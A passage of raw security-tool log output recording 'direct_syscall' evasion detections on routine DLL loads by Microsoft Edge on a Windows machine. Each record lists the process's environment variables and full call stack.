EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e3c3c C:\Windows\System32\ntdll.dll!RtlGetFullPathName_UstrEx|0x7ffcdea541ba C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6996 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea2d7d3 C:\Windows\System32\ntdll.dll!RtlGuardCheckLongJumpTarget|0x7ffcdea2b94d C:\Windows\System32\ntdll.dll!LdrResolveDelayLoadedAPI|0x7ffcbae646b2 C:\Windows\System32\mdmregistration.dll!FindDiscoveryService|0x7ffcbae13c24 C:\Windows\System32\mdmregistration.dll!?|0x7ffcbae1e74d C:\Windows\System32\mdmregistration.dll!IsDeviceRegisteredWithManagement|0x7ffc8ce001b6 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ec91594 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8ec914c8 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8f98f7b9 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7ffc8f0ceacd C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8cf71d03 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cf71bcb C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cf71a3d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cf714bb C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8eda4610 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8ce6034e C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce5bdd3 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce5b490 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8cec08bd C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceaea2f C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceae2af C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceada86 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cead471 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ff7cf770137 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf76cfb6 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf81ce32 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:20+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4175496 + Pid: 7364 + Tid: 18496 + Type: LoadImage + CPU: 4 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:13.7606801 +0100 CET + Params: base_address➜ 7ffcc2250000, checksum➜ 604872, default_address➜ 7ffcc2250000, file_path➜ C:\Windows\System32\msvcp110_win.dll, image_size➜ 593920, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e3c3c C:\Windows\System32\ntdll.dll!RtlGetFullPathName_UstrEx|0x7ffcdea541ba C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcdea6cf87 C:\Windows\System32\ntdll.dll!RtlFreeActivationContextStack|0x7ffcde9f63aa C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6996 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea2d7d3 C:\Windows\System32\ntdll.dll!RtlGuardCheckLongJumpTarget|0x7ffcdea2b94d C:\Windows\System32\ntdll.dll!LdrResolveDelayLoadedAPI|0x7ffcbae646b2 C:\Windows\System32\mdmregistration.dll!FindDiscoveryService|0x7ffcbae13c24 C:\Windows\System32\mdmregistration.dll!?|0x7ffcbae1e74d C:\Windows\System32\mdmregistration.dll!IsDeviceRegisteredWithManagement|0x7ffc8ce001b6 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ec91594 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8ec914c8 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8f98f7b9 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7ffc8f0ceacd C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8cf71d03 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cf71bcb C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cf71a3d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cf714bb C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8eda4610 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8ce6034e C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce5bdd3 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce5b490 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8cec08bd C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceaea2f C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceae2af C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceada86 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cead471 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ff7cf770137 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf76cfb6 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf81ce32 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:20+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4175552 + Pid: 7364 + Tid: 18496 + Type: LoadImage + CPU: 4 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:13.7622174 +0100 CET + Params: base_address➜ 7ffcdd040000, checksum➜ 899838, default_address➜ 7ffcdd040000, file_path➜ C:\Windows\System32\oleaut32.dll, image_size➜ 880640, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ WINDOWS, signature_type➜ EMBEDDED + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e49f1 C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9fad95 C:\Windows\System32\ntdll.dll!RtlDeactivateActivationContextUnsafeFast|0x7ffcde9f6382 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6996 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea2d7d3 C:\Windows\System32\ntdll.dll!RtlGuardCheckLongJumpTarget|0x7ffcdea2b94d C:\Windows\System32\ntdll.dll!LdrResolveDelayLoadedAPI|0x7ffcbae646b2 C:\Windows\System32\mdmregistration.dll!FindDiscoveryService|0x7ffcbae14182 C:\Windows\System32\mdmregistration.dll!?|0x7ffcbae66412 C:\Windows\System32\mdmregistration.dll!FindDiscoveryService|0x7ffcdc0abc75 C:\Windows\System32\ucrtbase.dll!bsearch_s|0x7ffcdc0ab897 C:\Windows\System32\ucrtbase.dll!_execute_onexit_table|0x7ffcdc0ab84d C:\Windows\System32\ucrtbase.dll!_execute_onexit_table|0x7ffcdc0d2f0c C:\Windows\System32\ucrtbase.dll!_stricmp_l|0x7ffcbae12615 C:\Windows\System32\mdmregistration.dll!?|0x7ffcbae1273e C:\Windows\System32\mdmregistration.dll!?|0x7ffcdeb3f96e C:\Windows\System32\ntdll.dll!RtlEncodeRemotePointer|0x7ffcde9ebcae C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7ffcdea77a48 C:\Windows\System32\ntdll.dll!LdrGetProcedureAddressForCaller|0x7ffcdea7679e C:\Windows\System32\ntdll.dll!LdrGetProcedureAddress|0x7ffcdea765e4 C:\Windows\System32\ntdll.dll!LdrGetProcedureAddress|0x7ffcde9f4730 C:\Windows\System32\ntdll.dll!LdrUnloadDll|0x7ffcdbb6d3a9 